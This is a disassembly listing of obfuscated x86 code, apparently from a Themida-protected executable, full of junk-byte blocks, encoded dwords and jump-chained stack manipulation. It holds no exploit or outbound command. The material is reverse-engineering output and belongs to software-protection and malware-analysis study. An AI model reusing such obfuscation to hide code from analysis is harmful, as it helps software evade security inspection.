		dd 0EC005481h, 760054C6h, 5E00548Dh, 0AD005476h, 750054DBh
		dd 150054DCh, 760054F8h, 0B2005466h, 500054BCh,	4E00547Dh
		dd 77005498h, 9500545Eh, 270054CCh, 0A100548Fh,	0E6005462h
		dd 6F0054D5h, 0C30054B9h, 0F6005465h, 0E60054DCh, 600054ACh
		dd 0BA0054D7h, 0C60054C6h, 630054B1h, 0CC005468h, 0A1005465h
		dd 7005485h, 0EA00544Bh, 54A7h,	650054D3h, 0C1005447h
		dd 82005480h
dword_544450	dd 6A0054A7h, 330054D0h, 360054C3h, 0C30054F6h,	0E0005496h
					; DATA XREF: ___:off_43CCF4o
		dd 4E0054CEh, 7200544Fh, 8A0054A4h, 800054B4h, 3600545Eh
		dd 52005485h, 4A00546Fh, 200054BAh, 160054E2h, 8F005503h
		dd 85005455h, 460054B1h, 9005462h, 0B90054EAh, 340054EFh
		dd 79005496h, 64005451h, 0D10054FFh, 0E50054BEh, 220054D8h
		dd 620054CBh, 0A60054BCh, 2100548Ah, 6A005491h,	7F0054A9h
		dd 78005467h, 3600547Ch, 0C00054B4h, 0F30054A6h, 0E00054DBh
		dd 0A20054F3h, 8C0054CFh, 1A0054EEh, 0DE0054AEh, 0C100544Ah
		dd 0BD0054CFh, 0F60054B4h, 950054FCh, 370054A3h, 58005499h
		dd 3E005478h, 5F0054BDh, 7F005461h, 0BB005496h,	8100546Ch
		dd 79005478h, 5E005470h, 4C00547Ah, 550054ABh, 2D005497h
		dd 0E9005473h, 0F20054FAh, 0B00054C5h, 0E5005454h, 8500547Eh
		db 95h,	54h, 0
; ---------------------------------------------------------------------------


loc_544543:				; CODE XREF: Themida_:005730FFj
					; Themida_:0059D3E8j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6077D8Ch
		mov	eax, edi
		add	edi, 6077AA4h
		cmp	eax, [edi+2Ch]
		jnz	short loc_544561
		jmp	short loc_544574
; ---------------------------------------------------------------------------


loc_544561:				; CODE XREF: Themida_:0054455Dj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_544570
; ---------------------------------------------------------------------------


loc_54456B:				; CODE XREF: Themida_:00544572j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_544570:				; CODE XREF: Themida_:00544569j
		or	ecx, ecx
		jnz	short loc_54456B


loc_544574:				; CODE XREF: Themida_:0054455Fj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_544581:				; CODE XREF: Themida_:00544588j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_544581


loc_54458A:				; CODE XREF: Themida_:0054832Ej
					; Themida_:0054936Fj ...
		lodsb
		push	ebx
		mov	bl, 58h
		xor	bl, 96h
		jmp	loc_548C1E
; ---------------------------------------------------------------------------
		dw 0FF52h
		dd 8B042474h, 89522414h, 4C281E2h, 0E9000000h, 0BBD7h
; ---------------------------------------------------------------------------


loc_5445AC:				; CODE XREF: Themida_:0054B7C6j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 962099Bh
		jmp	loc_549144
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5366240Ch, 42EF68h, 24148900h, 0C6FEF3B6h
		dd 82D9E9h, 24148900h, 9CB25251h, 0B103B753h, 0E9F9282Ch
		dd 0A654h, 10ECE950h, 0D4880000h, 34FFE788h, 0E9565824h
		dd 839h, 0FF241C89h, 34FF2434h,	0BFE95824h, 68000022h
		dd 5055h, 0BE243489h, 262A7662h, 0FFB85046h, 29FFFFFFh
		dd 2610E9C6h, 575C0000h, 0C781E789h, 4,	0A8BE9h, 241C8700h
		dd 2824248Bh, 0E99C2404h, 575Fh, 0DEFEA81h, 0F28124ACh
		dd 3E560836h, 7954EA81h, 0E2C13D1Ch, 0BAC28106h, 1485A35h
		dd 68E95AD0h, 81000096h, 4C3h, 241C8700h, 924248Bh, 2840FC0h
		dd 680000A5h, 6E83h, 0A39EE9h, 4B696800h, 0C1586DE3h, 0D4803E8h
		dd 2C25F44h, 63E4E9h, 81D9F700h, 52AD95F1h, 37ED81FEh
		dd 1437D6Dh, 37C581CDh,	8B437D6Dh, 8953240Ch, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 0E924248Bh, 3D44h, 4BE95F66h
		dd 89000040h, 0E9542414h, 0BD04h, 0F4E9E189h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5446E3:				; CODE XREF: Themida_:00545925j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_54E4EE
; ---------------------------------------------------------------------------


loc_5446F4:				; CODE XREF: Themida_:005490D1j
		and	ebx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_544881
; ---------------------------------------------------------------------------
		dd 7F7BEE81h, 0BDE9E462h, 0FF000019h, 68582434h, 1638h
		dd 54243489h, 9F10E9h, 24043300h, 713FE9h
		db 0
; ---------------------------------------------------------------------------


loc_544731:				; CODE XREF: Themida_:00545B90j
		push	edi
		mov	edi, 41B52427h
		sub	eax, edi
		pop	edi
		sub	eax, 408D5AF0h
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3693h
		mov	[esp], ebx
		jmp	loc_54F5DD
; ---------------------------------------------------------------------------
		db 8Fh
		dd 87E92404h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54475B:				; CODE XREF: Themida_:0054F3DBj
		pop	ecx
		shl	ebx, 7
		dec	ebx
		jmp	loc_54C71B
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 1BE99C24h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54476F:				; CODE XREF: Themida_:0054BC04j
		push	3A96h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 0C8241B1h
		dec	eax
		xor	eax, 13130275h
		push	esi
		mov	esi, 35C5370h
		jmp	loc_54E392
; ---------------------------------------------------------------------------


loc_544796:				; CODE XREF: Themida_:0054CC56j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		jmp	loc_5484A5
; ---------------------------------------------------------------------------


loc_5447A7:				; CODE XREF: Themida_:0054F6BDj
		push	ax
		mov	al, 8Ah
		sub	bl, al
		jmp	loc_54D46E
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0A0229815h, 835DE801h, 48704C0h, 0BB535C24h,	4E88661Ah
		dd 4F3A6855h, 2C8B393Bh, 4C48324h, 4E9EF581h, 42E97729h
		dd 66000079h, 0E9240C8Bh, 0A9DCh
; ---------------------------------------------------------------------------


loc_5447E8:				; CODE XREF: Themida_:005464E8j
		mov	bh, 69h
		sub	dh, bh
		pop	ebx
		push	ebx
		mov	bh, 0FFh
		sub	dh, bh
		jmp	loc_549F41
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 4247401h,	22B2E9h, 0FD80E900h, 5051FFFFh,	67B3E9h
		dd 7E5C100h, 0F431C581h, 0EF31CCD1h, 0E92434FFh, 96F4h
		dd 53E68956h, 0A81902BBh, 2C38132h, 0E9CD57E7h,	0CCCh
; ---------------------------------------------------------------------------


loc_544838:				; CODE XREF: Themida_:00547366j
		pop	esp
		push	3BC6h
		mov	[esp], esi
		jmp	loc_54BD23
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 9BB9EB78h, 348BF301h, 4EC8324h, 89241489h, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 8124248Bh, 2C3h,	14F0E900h
		dd 14330000h, 24248B24h, 61E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_544881:				; CODE XREF: Themida_:00544707j
		pop	esp
		or	ebx, ebx
		jnz	loc_545648
		push	eax
		jmp	loc_544DB1
; ---------------------------------------------------------------------------
		dd 3791BD55h, 0F581078Ah, 38E0394Ah, 0C9BE9h, 240C8B00h
		dd 104C483h, 0BB535EF7h, 4, 875BDF29h, 895C243Ch, 65E9240Ch
		dd 0B9000055h, 708C5D06h, 95F6E9h, 241C8B00h, 0E904C483h
		dd 4862h, 4C181h, 0EC810000h, 4, 0FF240C89h, 59042474h
		dd 77C0E9h, 241C8700h, 4EC835Ch, 68241C89h, 101F263Dh
		dd 0E92434FFh, 0FFFFFFC5h, 1CBA52h, 0FA010000h,	348132FFh
		dd 5A48BD24h, 0E9565816h, 7C7Dh
; ---------------------------------------------------------------------------


loc_54491C:				; CODE XREF: Themida_:00546A04j
		pop	eax
		xchg	ebx, [esp]
		pop	esp


loc_544921:				; CODE XREF: Themida_:00545422j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54905F
; ---------------------------------------------------------------------------
		dd 31240433h, 4332404h,	24248B24h, 9C2424D2h, 0FFFC49E9h
		dd 0F98851FFh, 88CC8850h, 8B5958E6h, 0C481241Ch, 4, 148BF788h
		dd 4C48124h, 88000000h,	241C8B3Ah, 4AB9E9h
		db 0
; ---------------------------------------------------------------------------


loc_544969:				; CODE XREF: Themida_:0054E6E0j
		pop	eax
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		jmp	loc_547C57
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0D3B5240Ch, 0F6E9EB28h, 810000AAh, 6E3C6EF2h
		dd 2E2C17Eh, 987FE9h, 54CB6800h, 0E3E90000h, 3100007Bh
		dd 243C8BF8h, 4C481h, 0C3810000h, 50D91745h, 4ADE9h, 242C8900h
		dd 0A01F91BDh, 7979E92Ah, 0E9C00000h, 58F18004h, 27FAE950h
		dd 0DAF70000h, 571CE9h,	2C78100h, 57000000h, 42474FFh
		dd 24048F5Fh, 0D324248Bh, 0E99C243Ch, 0A316h, 5355D829h
		dd 7494E9h
		db 0
; ---------------------------------------------------------------------------


loc_5449F9:				; CODE XREF: Themida_:0054F137j
		sub	ebp, 2CA1720Fh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_549D05
; ---------------------------------------------------------------------------
aZsn		db 'ZИ╜',0Dh,0
		dw 100h
		dd 68BE05F8h, 1CE9337Eh, 8700006Ch, 248B242Ch, 0A8A5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544A2A:				; CODE XREF: Themida_:0054B9F7j
		add	esp, 4
		and	ebx, 5DB810A2h
		shl	ebx, 6
		xor	ebx, 8040024h
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		jmp	loc_5483E9
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0ED8005EDh, 66EB080Eh, 81240C8Bh, 2C4h, 861DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544A62:				; CODE XREF: Themida_:0054C157j
		mov	ch, bl
		push	ebx
		jmp	loc_547DB6
; ---------------------------------------------------------------------------


loc_544A6A:				; CODE XREF: Themida_:0054A826j
		mov	edi, 2D8755CEh
		or	edx, edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 72E842F7h
		add	edx, 51F3032Ah
		jmp	loc_54C687
; ---------------------------------------------------------------------------
		db 68h,	9Dh, 2Bh
		dd 4890000h, 74E95624h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544AA3:				; CODE XREF: Themida_:0054EF84j
		xor	edx, 47D2E9Ah
		mov	ecx, edx
		pop	edx
		jmp	loc_54F72B
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 0E7BD5500h, 8140862Eh,	0F94AA8CDh, 0EDF58113h
		dd 0E953FF6Eh, 6ECBh
; ---------------------------------------------------------------------------


loc_544AD0:				; CODE XREF: Themida_:0054F010j
		neg	edx
		dec	edx
		xor	edx, 0D2A3942h
		jmp	loc_54B80C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0F1682404h, 8900007Ch, 0C6E92404h, 0BF00007Ah, 2E075E41h
		dd 8B5FFB29h, 23682414h, 8900000Eh, 60E92404h, 66000001h
		dd 5124048Bh, 0F8E9E189h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_544B13:				; CODE XREF: Themida_:0054CD7Bj
		add	edi, 4
		push	3392h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54B610
; ---------------------------------------------------------------------------
		dd 2B5700BEh, 3CE68153h, 8165233Fh, 0EE328BEEh,	0E6814643h
		dd 1D133271h, 7341F681h, 0EE8163D5h, 0C439BBE0h, 95EF331h
		dd 0E9E91C5Fh
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544B5B:				; CODE XREF: Themida_:0054924Cj
		add	ebx, ecx
		jmp	loc_54C970
; ---------------------------------------------------------------------------
		dw 6852h
		dd 75990340h, 2EAC15Ah,	4CD1E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544B72:				; CODE XREF: Themida_:00546187j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54D5CB
; ---------------------------------------------------------------------------
		db 0BDh
		dd 77045159h, 81EDD14Dh, 45F6AEF5h, 0E9EA01C8h,	3068h
		dd 4FBAE95Dh, 0E3810000h, 292645D0h, 90E38143h,	4B3A4E62h
		dd 2052F381h, 0A2E96B09h, 50000044h, 4055854h, 83000000h
		dd 0AEE904C0h, 680000B5h, 6A2E753Bh, 6550E9h, 24043300h
		dd 33240431h, 505C2404h, 0C203AFB8h, 7F7B354Bh,	0E0C13335h
		dd 40D8F703h, 81E9D0F7h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_544BEB:				; CODE XREF: Themida_:0054DA3Cj
		add	esi, ebx
		sub	esi, 3EEE7C5Bh
		pop	ebx
		jmp	loc_54D541
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 46A3BA52h, 0E281146Fh, 6BCA4A1Ah, 0E904EAC1h, 68C4h
		dd 0AF78147h, 318CE1C5h, 243C8BFDh, 4C481h, 0E8010000h
		dd 8161E9h, 64F78100h, 215FDC69h, 0EB815FFBh, 0E421BF7Dh
		dd 455BDD89h, 4F5DED81h, 0E82915F8h, 7154055Dh,	0E9567B53h
		dd 7B74h, 0C681E689h, 4, 4EE81h, 34870000h, 0E2E95C24h
		dd 8900009Bh, 405E0h, 0C0830000h, 24043304h, 587EE9h
		db 0
; ---------------------------------------------------------------------------


loc_544C79:				; CODE XREF: Themida_:0054A23Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_547AAD
; ---------------------------------------------------------------------------


loc_544C84:				; CODE XREF: Themida_:00549AFCj
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5486C0
; ---------------------------------------------------------------------------
aSX		db ',',27h,'И╪X',0
		dd 5EF32100h, 40ABF381h, 0E3814280h, 2A6E5F36h,	52AAC381h
		dd 0F3813081h, 22057035h, 9308E9h
		db 0
; ---------------------------------------------------------------------------


loc_544CB5:				; CODE XREF: Themida_:0054DE8Fj
		xor	esi, edi
		pop	edi
		xor	esi, 0D457AADCh
		add	edi, 38EF4552h
		add	edi, esi
		sub	edi, 38EF4552h
		pop	esi
		jmp	loc_54F51C
; ---------------------------------------------------------------------------
		dw 8CB5h
		dd 0D086C580h, 68ED80EDh, 0F6CBCD80h, 6CBCE9D5h, 0F3810000h
		dd 262B386Ah, 0D142EB81h, 0DF014A90h, 0B10FE9h,	41B95100h
		dd 8950D41Fh, 441E9CFh,	8B660000h, 8950241Ch, 0B5E952E0h
		dd 100003Ah, 2BA52E8h, 0C1647447h, 814203EAh, 61196DC2h
		dd 0E9D2F731h, 8F50h, 4EC81h, 1C890000h, 80BBB324h, 0B45001C3h
		dd 3EF4803Fh, 0E958E300h, 7E64h, 66DF8966h, 3C8BFD89h
		dd 4C48324h, 12E1E9h, 81E78900h, 4ECh, 240C8900h, 4B9h
		dd 59CF0100h, 5704C783h, 42474FFh, 24048F5Fh, 0E930FF5Ch
		dd 0FFFFF80Ah, 31C2E955h, 0FF5C0000h, 48B2434h,	4C48324h
		dd 0B711E9h, 0EB805B00h, 80E32852h, 8B6652C3h, 0C4812404h
		dd 2, 9EB45053h, 9FE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_544DB1:				; CODE XREF: Themida_:0054488Bj
		push	70C5h
		mov	[esp], ebx
		mov	ebx, 64477D02h
		jmp	loc_546143
; ---------------------------------------------------------------------------
		db 80h
		dd 0C480F8E9h, 66CC28B2h, 28B2B652h, 71BBE9F4h,	0A5BE0000h
		dd 3144CCA7h, 0B309E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544DE2:				; CODE XREF: Themida_:005473EEj
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		inc	esi
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_546D18
; ---------------------------------------------------------------------------
aS_5		db '!жИ[>',0
		dd 0C3316600h, 9CC1E9h,	0E0D15F00h, 2972E9h, 0E9596600h
		dd 31FFh
; ---------------------------------------------------------------------------


loc_544E10:				; CODE XREF: Themida_:0055045Cj
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_547270
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 2C8904ECh, 1089BD24h, 0BB534861h,	1DBE1FD3h
		dd 2AFEE9h, 88E95400h, 520000ACh, 4DFDE951h, 6C810000h
		dd 1AF70424h, 742970BBh, 44810424h, 1AF70424h, 0E95E70BBh
		dd 7AF3h, 6906E95Ch, 5F680000h,	89000014h, 7CE92434h, 8900000Ch
		dd 4C581E5h, 0E9000000h, 4A3Bh,	51E08950h, 5421B1B9h, 7E1C160h
		dd 0E1C1D9F7h, 59C98104h, 8158286Bh, 5A3E97E1h,	1D02E94Ah
		dd 0E2890000h, 4C281h, 0B8500000h, 5FEB3CBAh, 3D30C505h
		dd 6D7B3527h, 0C2298728h, 24148758h, 2414895Ch,	0F7BFE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544EC6:				; CODE XREF: Themida_:0054AE79j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_54D77D
; ---------------------------------------------------------------------------
aFrL		db 'fR╤╚',0
		dw 66F1h
		dd 337E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544EE2:				; CODE XREF: Themida_:0054D168j
		jz	loc_545C5C
		push	0A3Ah
		mov	[esp], ebx
		push	eax
		push	7EC81B5Fh
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		not	eax
		xor	eax, 8137E4BCh
		push	edi
		mov	edi, eax
		mov	ebx, edi
		pop	edi
		pop	eax
		jmp	loc_549699
; ---------------------------------------------------------------------------
		db 5
		dd 7D3646E3h, 83240C8Bh, 0FF5004C4h, 8B042474h,	59E92404h
		dd 810000A4h, 921BB2C3h, 3821E91Fh, 5B540000h
		db 81h,	0C3h
word_544F42	dw 4			; DATA XREF: ___:off_435718o
		dd 0EB830000h, 7283E904h, 8B660000h, 0E68240Ch,	89000033h
		dd 4A68241Ch, 89000021h, 0E389241Ch, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 7F7C68h, 24248900h, 8E71E9h, 4EAC100h
		dd 0FD6FE957h, 0C330FFFFh, 1370E952h, 3C890000h, 212BBF24h
		dd 0C7813CEFh, 0FFFFFFFFh, 0EFD1D7F7h, 57E96855h, 3C890000h
		dd 7648BF24h, 0F7812D59h, 6972473Bh, 561AE781h,	0EF81001Fh
		dd 7BCB3FCCh, 0EFC1DFF7h, 0D7EF8104h, 5741AB46h, 83242C8Bh
		dd 0E95F04C4h, 7E1Eh, 99E9E389h, 58FFFFFEh, 1F57E9h, 52595400h
		dd 0B15DE9h
		db 0
; ---------------------------------------------------------------------------


loc_544FF1:				; CODE XREF: Themida_:0054FA3Cj
		add	ebp, 4
		jmp	loc_54E4D2
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 0BC7FD30Ch, 559CE01h, 162C5DE6h,	0E62DF001h
		dd 5E162C5Dh, 5004C083h, 42474FFh, 462CE9h, 7E95200h, 0E9000028h
		dd 0FFFFF55Eh, 0C381E389h, 4, 4D0BE9h, 240C3300h, 4EC835Ch
		dd 89240489h, 405E0h, 0BA520000h, 4, 875AD029h,	895C2404h
		dd 70682414h, 8B39DC08h, 89532414h, 4C381E3h, 83000000h
		dd 1C8704C3h, 0DE95C24h, 5B00004Fh, 8B2434FFh, 0C4812404h
		dd 4, 0E904C483h, 7AFBh, 0E940478Fh, 0FFFFF4F6h, 0C103E5C1h
		dd 0D5F706E5h, 0E906EDC1h, 542Fh
; ---------------------------------------------------------------------------


loc_5450A4:				; CODE XREF: Themida_:0054AA63j
		pop	ecx
		shl	ebp, 4
		neg	ebp
		not	ebp
		shr	ebp, 7
		xor	ebp, 10487A90h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_548B36
; ---------------------------------------------------------------------------
		dd 4C781h, 3C330000h, 243C3124h, 5C243C33h, 5451F1F7h
		dd 0E9240C8Bh, 4A9Dh
; ---------------------------------------------------------------------------


loc_5450DC:				; CODE XREF: Themida_:0054B1CDj
		push	esi
		mov	esi, 703564C2h
		inc	esi
		neg	esi
		jmp	loc_54F7CE
; ---------------------------------------------------------------------------
		dw 6853h
		dd 1A0C78AFh, 57C3815Bh, 89E9419Dh, 0CD815BDDh,	4DEA50E4h
		dd 5AACF581h, 0D5F74D48h, 0F3B1F581h, 2EE9FD59h, 1000089h
		dd 214305E8h, 335D7092h, 4312404h, 24043324h, 9CC1385Ch
		dd 0FFF45DE9h, 243489FFh, 168h,	2434FF00h, 0FF2434FFh
		dd 835E2434h, 0CBE904C4h, 8B000054h, 0C483240Ch, 97F9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545152:				; CODE XREF: Themida_:00548F9Dj
		mov	edx, [esp]
		jmp	loc_54948D
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4994B12Eh, 3D2E9605h, 7CD2E96Dh, 77FF0000h, 58669D1Ch
		dd 9C240418h, 0A79AE9h,	0D831AD00h, 8904EC83h, 6853243Ch
		dd 3B517272h, 9D99E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54518E:				; CODE XREF: Themida_:0054F8A1j
		inc	eax
		xor	eax, 104C02E2h
		xor	esi, eax
		pop	eax
		and	esi, 310F162Bh
		not	esi
		jmp	loc_548A50
; ---------------------------------------------------------------------------
		dd 2C381h, 1C870000h, 0F665C24h, 9C2404B3h, 0FFF3D1E9h
		dd 4EC81FFh, 89000000h,	4368241Ch, 0E904D74Bh, 4B87h
; ---------------------------------------------------------------------------


loc_5451CC:				; CODE XREF: Themida_:0054BF8Cj
		mov	ecx, [ebx]
		pop	ebx
		jmp	loc_54940F
; ---------------------------------------------------------------------------
		dd 205h, 74E95300h, 0FF00001Eh,	58042474h, 5C24048Fh, 6E53E955h
		dd 15F0000h, 0B477E9F1h, 248B0000h, 24040024h, 0F388E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545202:				; CODE XREF: Themida_:00548DC8j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5485B6
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 4Ch
		dd 5E590424h, 9039E9h, 37C38000h, 0E8EB80h, 0E8C380CBh
		dd 5937EB80h, 3D096856h, 64E902EEh, 89000014h, 9C502414h
		dd 3151E9h, 242C8700h, 33E9E9h,	50E18900h, 44BE9h, 4C28100h
		dd 0E9000000h, 1D4Dh, 6FBB535Bh, 8168281Eh, 59532BC7h
		dd 81DF014Fh, 59532BEFh, 0FB295B4Fh, 5CEB815Fh,	0FF115A25h
		dd 853AE933h, 0E6680000h, 0E9000003h, 0FFFFF374h, 808DCE80h
		dd 9EE917EEh, 6600008Fh, 5224048Bh, 36AE68h, 24248900h
		dd 4BF57h, 7C010000h, 5A5F0424h, 5D83BF57h, 0CF816CB5h
		dd 84160D6h, 37A4EF81h,	16E9180Bh
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5452C3:				; CODE XREF: Themida_:0054F71Cj
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	2749h
		mov	[esp], edi
		jmp	loc_547EAF
; ---------------------------------------------------------------------------
		dd 251EE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5452EA:				; CODE XREF: Themida_:0054A05Fj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_546082
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0BB532404h, 4, 4245C01h, 2434FF5Bh, 5670E95Bh, 7BE90000h
		dd 80FFFFF2h, 0ED804EEDh, 28FB044Ah, 0E9FB2CE8h, 98FFh
		dd 2C481h, 81660000h, 66451AEBh, 66BE6656h, 0F331664Bh
		dd 73685E66h, 89000027h, 5E9243Ch, 68FFFFFAh, 102Eh, 3007E9h
		dd 5AD30000h
dword_545350	dd 0E9F8EB80h, 21D2h, 582434FFh, 8904EC83h, 0E2892414h
					; DATA XREF: ___:off_43CCB4o
		dd 4260E9h, 5FF82900h, 8B240487h, 3C892424h, 38BD5524h
		dd 8169B12Dh, 51A267F5h, 27D8E920h, 0C8310000h,	0E9240C8Bh
		dd 1284h
; ---------------------------------------------------------------------------


loc_545390:				; CODE XREF: Themida_:0054D492j
		mov	[esp], esi
		jmp	loc_549AF0
; ---------------------------------------------------------------------------


loc_545398:				; CODE XREF: Themida_:0054E2F1j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54E894
; ---------------------------------------------------------------------------
		db 83h
		dd 148704EAh, 24895C24h, 24048124h, 4, 4BA525Fh, 0E9000000h
		dd 80D7h, 8924248Bh, 0E389241Ch, 6937E950h, 0DE880000h
		dd 0F388D6F6h, 0B6525A66h, 8BF30042h, 0C4812414h, 4, 34FFD830h
		dd 241C8B24h, 4C481h, 0C4830000h, 0B7535204h, 0E951665Fh
		dd 5774h
; ---------------------------------------------------------------------------


loc_545400:				; CODE XREF: Themida_:0054EA7Bj
		add	edx, 7E241B3Dh
		sub	edx, 216F5341h
		xor	edx, 0E8937CA4h
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_544921
		push	ebx
		push	ebp
		mov	ebp, 4B1E5BD1h
		neg	ebp
		xor	ebp, 3A9B0857h
		neg	ebp
		push	5BB2h
		mov	[esp], esi
		jmp	loc_54B075
; ---------------------------------------------------------------------------


loc_545446:				; CODE XREF: Themida_:00545810j
		pop	dword ptr [esp]
		not	eax
		xchg	eax, [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 7CE82EB6h
		push	edi
		mov	edi, 7CE82EB2h
		xor	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_55033F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 5EF38904h, 11BE9h, 79BF5700h, 0E952A16Ah
		dd 7C61h, 35E268h, 242C8900h, 9D6F93BDh, 8E5C17Ch, 0F8F58145h
		dd 1D22E31h, 242C8BEAh,	0E904C483h, 6662h, 24248B66h, 0FFF0D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5454B9:				; CODE XREF: Themida_:0054809Fj
		sub	esi, ebx
		pop	ebx
		shl	esi, 5
		neg	esi
		push	ebx
		mov	ebx, 3116654Eh
		or	ebx, 118070ABh
		push	eax
		jmp	loc_54DDE3
; ---------------------------------------------------------------------------
		db 68h
		dd 1505h, 0BB241C89h, 45137BDAh, 0CB81D3F7h, 1D4E7291h
		dd 4B06E3C1h, 8106EBC1h, 6E3D80EBh, 20EE9D6h, 0CF010000h
		dd 0E9240C8Bh, 4445h, 34FFDE01h, 0C4835B24h, 2C68304h
		dd 7537E956h, 0C1880000h, 8BCB0058h, 0C481240Ch, 4, 231E9h
		db 0
; ---------------------------------------------------------------------------


loc_545529:				; CODE XREF: Themida_:0054CEDBj
		or	edx, 1ADB180Dh
		jmp	loc_548E8D
; ---------------------------------------------------------------------------
aAZsqd		db '─цZИq└',0
		align 4
aW_4tlos	db 'W©.4tLOИ╧,',0
		align 4
		dd 0A205D801h, 5B17A522h, 740468h, 243C8900h, 4C70BE56h
		dd 0F68122D9h, 71F6F0Bh, 6B8BF681h, 0CE815E2Eh,	108E0C19h
		dd 7FFE9h, 242C8100h, 5E9D7699h, 60C9E9h, 55E95700h, 8900009Dh
		dd 5BE9241Ch, 8B00001Bh, 86E92404h, 0E900001Eh,	0FFFFEFEEh
		dd 875BDF01h, 95C243Ch,	0C7840FC9h, 83000098h, 0BEE904ECh
		dd 8100005Dh, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 52AEh
		dd 0FF2434FFh, 3C8B2434h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 4C4815Ch,	0E9000000h, 87A1h, 591168h, 243C8900h
		dd 631AE9h, 4EC8300h, 54243C89h, 4C7815Fh, 83000000h, 0AD6804C7h
		dd 8900006Dh, 74FF243Ch, 8F5F0424h, 248B2404h, 55AEE924h
		dd 0EB810000h, 1, 68D3F7h, 29000000h, 815B241Ch, 0AD55DAF3h
		dd 0EBC14310h, 0BEC38103h, 0E9732F58h, 0FFFFF69Eh
; ---------------------------------------------------------------------------


loc_545648:				; CODE XREF: Themida_:00544884j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_54A49D
		push	ebp
		push	4992h
		mov	[esp], edi
		mov	edi, 5C98681Ch
		push	edx
